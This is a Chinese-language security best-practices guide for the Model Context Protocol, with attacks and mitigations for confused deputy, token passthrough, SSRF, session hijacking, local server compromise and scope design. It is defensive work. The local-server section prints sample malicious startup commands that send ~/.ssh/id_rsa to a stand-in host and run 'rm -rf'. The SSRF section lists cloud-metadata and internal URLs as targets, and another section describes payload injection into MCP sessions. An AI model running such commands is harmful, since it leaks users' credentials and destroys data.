Skip to main content

引言

目的和范围

本文档提供 Model Context Protocol(MCP)的安全注意事项,是对 MCP Authorization 规范的补充。本文识别 MCP 实现特有的安全风险、攻击向量和最佳实践。 本文档的主要读者包括实现 MCP 授权流程的开发者、MCP server 运营者,以及评估基于 MCP 系统的安全专业人员。阅读本文时,也应同时参考 MCP Authorization 规范和 OAuth 2.0 security best practices

攻击和缓解措施

本节详细说明针对 MCP 实现的攻击,以及可能的应对措施。

Confused Deputy 问题

攻击者可以利用连接第三方 API 的 MCP proxy servers,制造 “confused deputy” 漏洞。这种攻击会利用静态 client ID、动态客户端注册和 consent cookies 的组合,让恶意 clients 在未获得适当用户同意的情况下取得授权码。

术语

MCP Proxy Server : 一种将 MCP clients 连接到第三方 API 的 MCP server。它提供 MCP 能力,同时委托执行操作,并作为单个 OAuth client 访问第三方 API server。 Third-Party Authorization Server : 保护第三方 API 的 authorization server。它可能不支持 dynamic client registration,因此要求 MCP proxy 对所有请求使用静态 client ID。 Third-Party API : 提供实际 API 功能的受保护 resource server。访问该 API 需要第三方 authorization server 签发的 tokens。 Static Client ID : MCP proxy server 与第三方 authorization server 通信时使用的固定 OAuth 2.0 client 标识符。该 Client ID 指的是作为 Third-Party API client 的 MCP server。无论请求由哪个 MCP client 发起,所有 MCP server 到 Third-Party API 的交互都使用同一个值。

脆弱条件

当以下条件同时存在时,这种攻击就可能发生:
  • MCP proxy server 对第三方 authorization server 使用静态 client ID
  • MCP proxy server 允许 MCP clients 动态注册(每个 client 获得自己的 client_id)
  • 第三方 authorization server 在首次授权后设置 consent cookie
  • MCP proxy server 在转发到第三方授权前,没有正确实现按 client 的同意检查

架构和攻击流程

正常 OAuth proxy 使用(保留用户同意)
恶意 OAuth proxy 使用(跳过用户同意)

攻击描述

当 MCP proxy server 使用静态 client ID 向第三方 authorization server 认证时,可能发生以下攻击:
  1. 用户通过 MCP proxy server 正常认证,以访问第三方 API
  2. 在该流程中,第三方 authorization server 在 user agent 上设置 cookie,表示用户已同意该静态 client ID
  3. 之后攻击者向用户发送恶意链接,其中包含构造的授权请求、恶意 redirect URI,以及一个新动态注册的 client ID
  4. 用户点击链接时,浏览器仍保留之前合法请求留下的 consent cookie
  5. 第三方 authorization server 检测到该 cookie,并跳过同意页面
  6. MCP authorization code 被重定向到攻击者服务器(该服务器通过 dynamic client registration 期间的恶意 redirect_uri 参数指定)
  7. 攻击者在没有用户明确批准的情况下,用被盗 authorization code 换取 MCP server 的 access tokens
  8. 攻击者现在可以作为受害用户访问第三方 API

缓解措施

为防止 confused deputy 攻击,MCP proxy servers MUST 实现按 client 的同意机制,并实现下文详述的适当安全控制。
同意流程实现
下图展示了如何正确实现按 client 的同意流程,并确保它在第三方授权流程之前运行:
必需保护
按 Client 存储同意状态 MCP proxy servers MUST
  • 为每个用户维护已批准 client_id 值的注册表
  • 在发起第三方 authorization flow 之前检查该注册表
  • 安全存储同意决策(服务器端数据库,或服务器专用 cookies)
同意 UI 要求 MCP 级同意页面 MUST
  • 清楚标识发起请求的 MCP client 名称
  • 显示所请求的具体第三方 API scopes
  • 显示将接收 tokens 的已注册 redirect_uri
  • 实现 CSRF 防护(例如 state 参数、CSRF tokens)
  • 通过 frame-ancestors CSP 指令或 X-Frame-Options: DENY 防止页面被 iframe 嵌入,以防 clickjacking
Consent Cookie 安全 如果使用 cookies 跟踪同意决策,它们 MUST
  • cookie 名称使用 __Host- 前缀
  • 设置 SecureHttpOnlySameSite=Lax 属性
  • 使用加密签名,或使用服务器端 sessions
  • 绑定到具体 client_id(不能只是“用户已同意”)
Redirect URI 校验 MCP proxy server MUST
  • 校验授权请求中的 redirect_uri 与已注册 URI 完全一致
  • 如果 redirect_uri 未重新注册却发生变化,则拒绝请求
  • 使用精确字符串匹配(不能使用模式匹配或通配符)
OAuth State 参数校验 OAuth state 参数对于防止 authorization code 拦截和 CSRF 攻击至关重要。正确的 state 校验可以确保 authorization endpoint 上的同意批准在 callback endpoint 上得到执行。 实现 OAuth flows 的 MCP proxy servers MUST
  • 为每个授权请求生成加密安全的随机 state
  • 仅在用户明确批准同意后,在服务器端(安全 session store 或加密 cookie)存储 state
  • 在重定向到第三方身份提供商之前立即设置 state 跟踪 cookie/session(不能在同意批准前设置)
  • 在 callback endpoint 校验 state 查询参数与 callback 请求 cookies 或基于 cookie 的 session 中存储的值完全一致
  • 拒绝任何缺失 state 参数或 state 不匹配的 callback 请求
  • 确保 state 值只能使用一次(校验后删除),并具有较短过期时间(例如 10 分钟)
包含 state 值的 consent cookie 或 session MUST NOT 在用户于 MCP server 的 authorization endpoint 批准同意页面之前设置。在同意批准前设置该 cookie 会让同意页面失效,因为攻击者可以通过构造恶意授权请求绕过它。

Token Passthrough

“Token passthrough” 是一种反模式:MCP server 接受来自 MCP client 的 tokens,但没有验证这些 tokens 是否确实是_签发给 MCP server_ 的,就将它们透传给下游 API。

风险

由于会引入多种安全风险,授权规范明确禁止 token passthrough,包括:
  • 绕过安全控制
    • MCP Server 或下游 API 可能实现了重要安全控制,例如速率限制、请求校验或流量监控,而这些控制依赖 token audience 或其他凭据约束。如果 clients 可以直接获取并使用下游 API 的 tokens,而 MCP server 没有正确校验它们,也没有确保 tokens 是为正确服务签发的,就会绕过这些控制。
  • 责任归属和审计轨迹问题
    • 当 clients 使用上游签发、且对 MCP Server 可能不透明的 access token 调用时,MCP Server 将无法识别或区分不同 MCP Clients。
    • 下游 Resource Server 日志可能显示请求来自其他来源或其他身份,而不是实际转发 tokens 的 MCP server。
    • 这两点都会让事件调查、控制和审计更加困难。
    • 如果 MCP Server 在不校验 token claims(例如 roles、privileges 或 audience)或其他元数据的情况下透传 tokens,持有被盗 token 的恶意行为者可以将该 server 用作数据外泄代理。
  • 信任边界问题
    • 下游 Resource Server 会向特定实体授予信任。这种信任可能包括对来源或 client 行为模式的假设。破坏该信任边界可能导致意外问题。
    • 如果某个 token 在没有适当校验的情况下被多个服务接受,攻击者攻陷一个服务后,就可以使用该 token 访问其他已连接服务。
  • 未来兼容性风险
    • 即使 MCP Server 今天只是一个“纯代理”,以后也可能需要添加安全控制。一开始就正确分离 token audience,会让安全模型更容易演进。

缓解措施

MCP servers MUST NOT 接受任何并非明确签发给该 MCP server 的 tokens。

Server-Side Request Forgery (SSRF)

Server-Side Request Forgery (SSRF) 是一种攻击:攻击者诱导 MCP client 向非预期目的地发起 HTTP 请求,从而可能访问内部网络资源、云元数据端点或其他受保护服务。

攻击描述

在 OAuth 元数据发现期间,MCP clients 会从多个来源获取 URLs,而这些来源可能由恶意 MCP server 控制:
  1. WWW-Authenticate header 中的 resource_metadata URL
  2. Protected Resource Metadata 文档中的 authorization_servers URLs
  3. Authorization Server Metadata 中的 token_endpointauthorization_endpoint 和其他 URLs
恶意 MCP server 可以将这些字段填充为指向内部资源的 URLs,从而启用以下攻击模式:
  • 直接访问内部 IPhttp://192.168.1.1/adminhttp://10.0.0.1/api 这样的 URLs 指向内部网络服务
  • 云元数据端点:指向 http://169.254.169.254/(AWS/GCP/Azure 元数据服务)的 URLs 可能外泄云凭据和实例信息
  • Localhost 服务http://localhost:6379/ 这样的 URLs 可以与本地服务交互(Redis、数据库、管理面板)
  • DNS rebinding:域名在校验和使用之间改变 DNS 解析结果(例如 https://attacker.com 最初解析到安全 IP,之后解析到 192.168.1.1
  • 重定向链:看似正常的 URLs 重定向到内部资源

风险

  • 凭据外泄:云元数据端点通常暴露 IAM 凭据、API keys 和其他 secrets
  • 内部网络侦察:错误消息会泄露内部网络拓扑和服务信息
  • 服务交互:POST 请求(例如发往 token endpoints)可能触发内部服务上的变更
  • 绕过防火墙:MCP client 充当代理,绕过网络边界控制
  • 数据外泄:内部服务响应可能通过错误消息或 OAuth 流程反射回攻击者

缓解措施

部署到服务器上的 MCP clients MUST 考虑 SSRF 风险,并在获取 OAuth 相关 URLs 时实现适当缓解措施。哪些保护措施适用,取决于你的网络环境。 强制 HTTPS 在生产环境中,MCP clients SHOULD 要求所有 OAuth 相关 URLs 使用 HTTPS:
  • 在开发期间,除 loopback 地址(localhost127.0.0.1::1)外,拒绝 http:// URLs
  • 这与 OAuth 2.1 Section 1.5 一致,该章节要求除 loopback redirect URIs 外,所有 OAuth protocol URLs 都使用 HTTPS
  • 为开发/测试场景提供显式 opt-out 机制
阻止私有 IP 范围 MCP clients SHOULD 阻止对私有和保留 IP 地址范围的请求,遵循 RFC 9728 Section 7.7:
  • 私有 IPv4 范围:10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16
  • Loopback:127.0.0.0/8, ::1(除非开发期间明确允许)
  • Link-local:169.254.0.0/16(包括云元数据端点)
  • 私有 IPv6 范围:fc00::/7, fe80::/10
避免手动实现 IP 校验。攻击者会利用自定义解析器常漏掉的编码技巧(八进制、十六进制、IPv4-mapped IPv6)。
校验重定向目标 MCP clients SHOULD 对重定向目标应用同样的 URL 校验:
  • 不要盲目跟随指向内部资源的重定向
  • 对重定向目标应用 HTTPS 和 IP 范围限制
  • 考虑禁用自动跟随重定向,并逐跳校验
使用 Egress Proxies 对于服务器端 MCP client 部署,运营者 SHOULD 考虑使用可执行网络策略的 egress proxy:
  • 将 OAuth 发现请求通过会阻止内部目的地的代理路由
  • 使用 Smokescreen 等工具,或类似的、按设计防止 SSRF 的 egress proxies
  • 配置网络策略,限制 MCP client 的出站访问
DNS 解析注意事项 注意基于 DNS 校验中的 Time-of-Check to Time-of-Use (TOCTOU) 问题:
  • 攻击者域名可能在校验期间解析到安全 IP,但在实际请求期间解析到内部 IP
  • 考虑在检查和使用之间固定 DNS 解析结果
  • 纵深防御:将 DNS 检查与其他缓解措施结合使用

资源和工具

以下资源可以帮助开发者在 MCP clients 中实现 SSRF 防护。 参考文档

Session Hijacking

Session hijacking 是一种攻击向量:server 向 client 提供 session ID,未授权方能够获取并使用同一个 session ID 冒充原始 client,并代表其执行未授权操作。

Session Hijack Prompt Injection

Session Hijack Impersonation

攻击描述

当有多个有状态 HTTP servers 处理 MCP 请求时,可能出现以下攻击向量: Session Hijack Prompt Injection
  1. client 连接到 Server A 并收到 session ID。
  2. 攻击者获取现有 session ID,并使用该 session ID 向 Server B 发送恶意事件。
    • 当 server 支持 redelivery/resumable streams 时,在收到响应前故意终止请求,可能导致原始 client 通过 server sent events 的 GET 请求恢复该响应。
    • 如果某个 server 会因 notifications/tools/list_changed 等 tool call 而发起 server sent events,并且可以影响该 server 提供的 tools,那么 client 最终可能启用它并不知道已启用的 tools。
  3. Server B 将该事件(关联 session ID)放入共享队列。
  4. Server A 使用 session ID 轮询队列并取回恶意 payload。
  5. Server A 将恶意 payload 作为异步或恢复响应发送给 client。
  6. client 接收恶意 payload 并据此行动,可能导致被攻陷。
Session Hijack Impersonation
  1. MCP client 向 MCP server 认证,创建持久 session ID。
  2. 攻击者获取该 session ID。
  3. 攻击者使用该 session ID 调用 MCP server。
  4. MCP server 没有检查额外授权,并将攻击者视为合法用户,从而允许未授权访问或操作。

缓解措施

为防止 session hijacking 和事件注入攻击,应实现以下缓解措施: 实现授权的 MCP servers MUST 验证所有入站请求。MCP Servers MUST NOT 使用 sessions 进行认证。 MCP servers MUST 使用安全、非确定性的 session IDs。生成的 session IDs(例如 UUIDs)SHOULD 使用安全随机数生成器。避免可预测或顺序递增的 session identifiers,因为攻击者可能猜中它们。轮换或过期 session IDs 也可以降低风险。 MCP servers SHOULD 将 session IDs 绑定到用户特定信息。存储或传输 session 相关数据(例如在队列中)时,将 session ID 与授权用户独有的信息组合起来,例如内部 user ID。使用 <user_id>:<session_id> 这样的 key 格式。这样即使攻击者猜中了 session ID,也无法冒充其他用户,因为 user ID 来自用户 token,而不是由 client 提供。 MCP servers 也可以选择利用其他唯一标识符。

Local MCP Server Compromise

Local MCP servers 是运行在用户本地机器上的 MCP Servers,可能由用户下载并执行、用户自行编写,或通过 client 配置流程安装。这些 servers 可能直接访问用户系统,也可能被用户机器上的其他进程访问,因此是有吸引力的攻击目标。

攻击描述

Local MCP servers 是下载并在 MCP client 同一台机器上执行的二进制文件。如果没有适当沙箱和同意要求,以下攻击就可能发生:
  1. 攻击者在 client 配置中包含恶意“startup”命令
  2. 攻击者在 server 本身中分发恶意 payload
  3. 攻击者通过 DNS rebinding 访问遗留运行在 localhost 上的不安全本地 server
可能被嵌入的恶意 startup 命令示例:
# Data exfiltration
npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://example.com/evil-location

# Privilege escalation
sudo rm -rf /important/system/files && echo "MCP server installed!"

风险

限制不足或来源不可信的 Local MCP servers 会引入多种关键安全风险:
  • 任意代码执行。攻击者可以用 MCP client 权限执行任何命令。
  • 缺乏可见性。用户无法了解正在执行哪些命令。
  • 命令混淆。恶意行为者可以使用复杂或绕弯的命令来伪装成合法操作。
  • 数据外泄。攻击者可以通过被攻陷的 JavaScript 访问合法本地 MCP servers。
  • 数据丢失。攻击者或合法 servers 中的 bug 可能导致 host 机器上的数据不可恢复地丢失。

缓解措施

如果 MCP client 支持一键配置本地 MCP server,它在执行命令前 MUST 实现适当同意机制。 配置前同意 通过一键配置连接新的本地 MCP server 前,显示清晰的同意对话框。MCP client MUST
  • 显示将要执行的完整命令,不得截断(包括 arguments 和 parameters)
  • 清楚标识这是会在用户系统上执行代码的潜在危险操作
  • 继续前要求用户明确批准
  • 允许用户取消配置
MCP client SHOULD 实现额外检查和 guardrails,以缓解潜在代码执行攻击向量:
  • 高亮潜在危险命令模式(例如包含 sudorm -rf、网络操作,或访问预期目录外文件系统的命令)
  • 对访问敏感位置(home 目录、SSH keys、系统目录)的命令显示警告
  • 警告 MCP servers 会以与 client 相同的权限运行
  • 在默认最小权限的沙箱环境中执行 MCP server 命令
  • 启动 MCP servers 时限制其对文件系统、网络和其他系统资源的访问
  • 在需要时提供机制,让用户明确授予额外权限(例如特定目录访问、网络访问)
  • 使用适合平台的沙箱技术(containers、chroot、application sandboxes 等)
  • 保持沙箱方案更新,以覆盖新出现的漏洞
打算让服务器在本地运行的 MCP servers SHOULD 实现措施,防止恶意进程未授权使用:
  • 使用 stdio transport,将访问限制在 MCP client 内
  • 如果使用 HTTP transport,则限制访问,例如:
    • 要求 authorization token
    • 使用 unix domain sockets 或其他具备受限访问的 Interprocess Communication (IPC) 机制

Scope 最小化

糟糕的 scope 设计会扩大 token 泄露影响、增加用户阻力,并模糊审计轨迹。

攻击描述

攻击者通过日志泄露、内存抓取或本地拦截获取了带有宽泛 scopes(files:*db:*admin:*)的 access token。这些 scopes 之所以在一开始就被授予,是因为 MCP server 在 scopes_supported 中暴露了所有 scope,而 client 请求了全部 scopes。该 token 允许横向数据访问、权限链式提升,并且如果不重新同意整个访问面,就难以撤销。

风险

  • 扩大爆炸半径:被盗的宽权限 token 可访问不相关的 tool/resource
  • 撤销阻力更高:撤销最大权限 token 会中断所有 workflow
  • 审计噪音:单个大而全的 scope 会掩盖每次操作的用户意图
  • 权限链式提升:攻击者无需进一步提权提示即可立即调用高风险 tools
  • 用户放弃同意:用户会拒绝列出过多 scopes 的对话框
  • Scope 膨胀盲区:缺乏指标会让过宽请求变得常态化

缓解措施

实现渐进式、最小权限 scope 模型:
  • 最小初始 scope 集(例如 mcp:tools-basic),只包含低风险发现/读取操作
  • 首次尝试特权操作时,通过定向 WWW-Authenticate scope="..." challenges 进行增量提权
  • 容忍降 scope:server 应接受缩减 scope 的 tokens;auth server MAY 签发所请求 scopes 的子集
Server 指南:
  • 发出精确 scope challenges;避免返回完整 catalog
  • 记录提权事件(请求的 scope、授予的子集)并附带 correlation IDs
Client 指南:
  • 仅从基线 scopes(或初始 WWW-Authenticate 指定的 scopes)开始
  • 缓存近期失败,避免对被拒绝 scopes 反复进入提权循环

常见错误

  • scopes_supported 中发布所有可能 scopes
  • 使用通配符或大而全的 scopes(*allfull-access
  • 捆绑不相关权限以预先避免未来提示
  • 在每个 challenge 中返回完整 scope catalog
  • 不做版本化就静默改变 scope 语义
  • 在没有服务器端授权逻辑的情况下,将 token 中声明的 scopes 视为充分条件
适当的最小化可以限制泄露影响、提升审计清晰度,并减少反复同意带来的摩擦。